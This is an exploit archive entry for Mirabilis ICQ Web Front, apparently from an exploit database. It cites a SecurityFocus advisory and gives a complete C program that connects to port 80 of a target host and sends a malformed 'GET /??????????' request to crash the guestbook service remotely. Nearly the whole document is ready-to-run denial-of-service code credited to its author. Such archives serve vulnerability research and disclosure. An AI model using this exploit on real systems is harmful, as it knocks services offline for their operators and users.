Mirabilis ICQ 0.99/98.0 a/2000.0 A/99a - Remote Denial of Service

// source: https://www.securityfocus.com/bid/1463/info

The guestbook CGI program in ICQ Web Front service for ICQ 2000a, 99b, and others allows remote attackers to cause a denial of service via a URL with a long name parameter.

/* ICQ Web Front DoS */

#include <sys/socket.h>
#include <stdio.h>
#include <netinet/in.h>
#include <netdb.h>

void main(int argc, char *argv[])
{
  int sock;
  struct in_addr addr;
  struct sockaddr_in sin;
  struct hostent *he;
  unsigned long start;
  unsigned long end;
  unsigned long counter;

  /* added extra ? to be on the safe side :) */
  char xploitstr1[50]="GET /?????????? HTTP/1.0 \n\n";


  printf("ICQ Web Front DoS - author: char0hlz/tPG\n");
  printf("The Poor Gurus' Network [http://www.tpgn.net]\n");

  if (argc<2)
  {
    printf("usage: %s <hostname>\n", argv[0]);
    exit(0);
  }
  if ((he=gethostbyname(argv[1])) == NULL)
  {
    herror("gethostbyname");
    exit(0);
  }
    start=inet_addr(argv[1]);
    counter=ntohl(start);
    sock=socket(AF_INET,SOCK_STREAM,0);
    bcopy(he->h_addr,(char *)&sin.sin_addr, he->h_length);
    sin.sin_family=AF_INET;
    sin.sin_port=htons(80);
    if (connect(sock,(struct sockaddr*)&sin,sizeof(sin))!=0)
    {
      perror("pr0blemz");
    }
    send(sock,xploitstr1,strlen(xploitstr1),0);
    close(sock);

   printf("Done. Refresh the page to see if it worked.\n");
}